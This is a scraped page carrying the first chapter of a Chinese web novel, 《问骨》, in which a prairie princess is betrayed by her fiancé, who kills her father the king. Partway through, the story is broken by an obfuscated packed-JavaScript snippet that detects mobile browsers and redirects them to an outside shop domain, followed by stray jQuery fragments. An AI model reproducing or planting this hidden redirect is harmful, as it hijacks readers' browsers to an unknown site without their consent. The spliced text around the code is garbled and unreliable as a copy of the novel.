1. 灭国

作品:《问骨

    草原上,在偌大的宫殿深处有这么一处院子,种满了飘香的白梅,一个圆脸丫鬟端着盘子穿梭在矗立的嵌金红柱间,脚步匆匆地往里院里赶去。


    一位样貌乖张的少女趴在覆着雾气的石桌上,身上裹着上好的狐裘,整个人被包绒绒的领子包得只剩一个脑袋在外面,白皙的脸透着红润,樱桃小嘴,头发呈棕色,打着小卷随意地披散在肩头,仔细一瞧,还能见额间坠着一颗上好的玛瑙。


    她嘴里抿着红茶,闭着眼似乎在等着什么。


    “公主!公主!出大事了!”圆脸丫鬟语调急促,脚步都有些不稳。


    魏清伊蹙眉,转头扶了一下她,将盛着红枣的盘子放好后道:“别着急,发生什么事了?”


    丫鬟顺了口气,道:“大将军!他反了!”


    此话一出,魏清伊的心中闪过一道惊雷,她猛地抓着丫鬟的袖子,颤声道:“你再说一遍,哪个将军?”


    圆脸丫鬟似乎被吓到了,毕竟在平日里她从没见过公主流露出这种神情。


    圆脸丫鬟竟有些不敢直视面前的人,红润的嘴唇咬得泛白:“就是…几年前归顺我们的楚大将军,你的未婚夫…他现在已经带着燕军攻上大殿了。”


    腊月初八,院里的白梅开得娇艳动人,雪落枝头,更添一分神秘。


    大雪纷飞之际,远处的雪山也披上了厚厚的雪被,草原的冬日到底还是不一样,雄鹰盘旋于高山之上,天冷下来,牛羊也踢着蹄子有一下没一下的挪动着。


    冬天恰是牧民们最头疼的时候,牛羊的吃食也是个很大的问题,绿草被厚雪掩埋,它们只能刨雪觅食,牛倒是还好,但羊的蹄子小些,刨起来更是费劲许多,近些年国家安定下来,但这种安定跟这些底层的人并没有干系。


    从草原一眼望去,便能看见岐越的宫殿,那叫一个恢宏雄伟,白墙黑瓦,虽然和中原的规模不能相比,但在白茫茫的天地间也足够引人注目。三年前,岐越与燕国的战局发生了大变,常年不败的燕军全数被虏,而他们的大将军楚霁却叩首投降,于殿外拜岐越首领阿苏勒为王。


    魏清伊坐不住了,提着裙子就往正殿跑,一刻也不敢耽搁,她眼里含着泪光,脑子乱成了一团。


    怎么会呢?怎么会是他呢?他们明日就要成婚了啊!


    他明明答应了自己忘掉那些仇恨,她会用尽余生去填补他那些过往的悲痛,难道他反悔了吗?


    难道他是骗自己的吗?


    魏清伊脚步有些虚浮,平常不起眼的石缝都可以成为她前行的阻碍,让她时不时踉跄几步。


    去大殿的路她走了十六年,却从未觉得像今日这样漫长过。


    魏清伊逐渐放下提裙摆的手,她走到了正殿前,同时数不清的士兵将她团团围住。


    她没看见自己想见的人,只是哽咽着环视了一圈周围的士兵,没有一丝犹豫脚步决然地向前走去,士兵也跟着她的步子向后退去。


    似乎是没有伤害她的打算,都只是一副凝重的神情。


    此时一人从里面走出来,看到她时怔愣了片刻,随即向她走近,“公主,将军说了,你待我们有恩,他会保住你的命,所以你还是回去吧,我们就当没看见你。”


    “陈添,我要见楚霁。”她的眼泪沿着脸颊滑落,固执地看着这个以前服侍在父王身边的人,“你听到了吗?我要见楚霁!”


    “恕难从命。”


    魏清伊向前踉跄了几步,抬起左手抓住陈添的衣领,右手猛地扇了他一巴掌,不顾手心的痛麻,咬牙道:“好!”


    她拔出陈添腰间的佩剑架在了脖子上,朝着殿内吼道:“楚霁,你今日不见我,那好,以后你我阴阳两隔,从此不负相见!”


    方才魏清伊跑得急,狐裘落在了道上,此刻她身上只有一件单衣,头发散乱,眼里布满了血丝,白雪飘落在她发间,最终融化开来。


    “公主,你这是何必?”陈添摇了摇头。


    不知过了多久,殿内响起‘哒哒哒’的靴子声,那个她以前朝思暮想的人再次出现在了她的眼前。


    她看见楚霁手里提着一个黑色袋子,右手持剑,脸上溅上了一道道血痕,正当二人对上眼神的那一刹那,魏清伊仿佛在他的黑眸里看见了万千罗刹,似乎多看一瞬就会将她拉入无尽深渊。


    她跌坐在地,眼睛死死盯着那个黑布袋,楚霁停在了她跟前,将其随意的抛在了魏清伊的面前。


    魏清伊双唇颤抖,眼泪已然决堤,顿时,质问他的话哽在了喉咙,她只是死死盯着他,他想听他叫自己一声,想让他告诉自己,他楚霁没有背叛父王!更没有背叛自己!


    但楚霁没有,他只是冷冷地甩了一句:“打开看看。”


    她不想猜里面是什么,也不敢猜。


    纵使万般不愿,她最终还是缓缓伸出手颤巍巍地掀开了黑袋的一角,从泪眼模糊的视线中看了过去,只那一眼她就闭眼转过头去,而胃里开始止不住地翻涌,眼前层叠不清的画面,让她大脑一阵晕眩。


    血淋淋的事实已经摆在她面前了,她还有什么不信的?


    露出来的那一角正好能看见她昨日吵着闹着给阿苏勒编的辫子,她编的辫子很丑,很好认,楚霁是知道的,他知道。


    但是现在她再也不能给阿苏勒编了,以后都不能了。


    魏清伊抑制不住地抱着黑布袋崩溃大哭起来,血水混着眼泪一起往下流,哭到最后,她忍不住干呕起来,不知过了多久,她摇晃着身体站起来,再次看向楚霁。


    这次她的目光变得更加狠毒和不甘,还带着滔天的恨意。


    她死死攥着衣角,直到发皱,直到手指泛白,直到指缝渗出血液,她想说的话很多,但最后只吐出了一句:“楚霁,你演得真的很好。”


    楚霁沉默地蹲下,抬眼跟魏清伊对视,伸手掐住了她的下巴,指甲嵌进了肉里:“这不是你心甘情愿的吗?刚入宫那阵子,你喜欢我喜欢得不得了,天天跟个哈巴狗一样跟在我后面献殷勤,你还记得吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932242|192819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    魏清伊瞳孔骤缩,满脸悲痛地看着他。


    “你猜我在想什么,我一想到还要陪你演情难自抑的戏码我就恶心,特别是听到你叫我阿霁的时候。”他拿开抓着魏清伊的手,抬步就要离开,“你的命是阿苏勒拿命换的,别死太早。”


    “哈哈哈哈哈。”魏清伊突然癫狂地笑起来,“所以!你以前都是骗我的?爱我是假的,说要跟我白头偕老相爱一生都是你演出来的,对吗。”她攥着手,心中一片死灰。


    楚霁头也没回:“是又如何。”


    楚霁走了,就在骑兵尽数退去的那一刻,一支利箭破空穿透了魏清伊的胸膛。她的嘴角渗出血,低头看着那支染血的箭,自嘲的笑了一声。


    最后在一阵杂乱的脚步声中逐渐失去了意识。


    “姑娘,姑娘你醒醒。”


    伴随着一道虚弱的女声,一位陌生少女的脸闯入了魏清伊的视线。


    她缓缓睁开双眼,胸口传来了剧烈的刺痛感,她看见胸口缠着一圈圈的布,布料上面绣着十分精致的花纹,一看就价值不菲。


    同时刚刚那道声音也变得激动起来:“你终于醒了!”


    魏清伊忍着痛撑起身子,这才看清那人的脸,对方墨发如瀑,嘴角带着血,脸此刻与白纸无异,嘴唇乌青,看样子是中了毒。


    少女伸出手在魏清伊眼前晃了晃,这才打断了她的思绪。


    魏清伊轻捂着胸口咳了几声,问:“是你救了我?”


    少女点了点头回道:“是,但我看见你的时候你的血其实已经止住了,为了防止感染,就给你找了些药重新包扎了一下。”


    虽然她的声音沙哑,但仍然能听出来对方年岁不大,原本的声音应该挺好听的。


    魏清伊打量了一下四周的环境,荒山野岭,空无一人,周围遍布着死状各异的尸体,空气中弥漫着淡淡的腐烂气息,她又看了眼面前的少女。


    “目的。”


    似乎是看出魏清伊看自己的眼神有些警惕,少女连忙摆着手往后退了一步:“你别误会,我是正好在看看这里面有没有活人,然后正好看到你还有呼吸,所以…”


    说着她还指了指那些躺着的尸体,眼神无比诚挚。


    魏清伊:“这些人是谁?”


    “是我的朋友。”她又指向远处的两座山包,“还有我的父母。”


    她有些自责:“我已经没有时间去安葬其他人了。”


    魏清伊不知道怎么安慰,二人沉默了片刻。


    她迟疑问道:“你……叫什么名字?”


    “哦哦。”她这次重新笑起来,热情地开始介绍自己,“忘了给你介绍了,我叫花倾城,是个小医师。”


    “你叫我魏清伊吧。”她从地上撑了起来,拍了拍手上的尘土。


    “你看起来是从草原来的,不像是中原人,那你怎么会在这…”花倾城说完就捂着嘴剧烈咳嗽起来,胸腔起伏凌乱,当她摊开手,一摊粘稠的黑血布满了手心。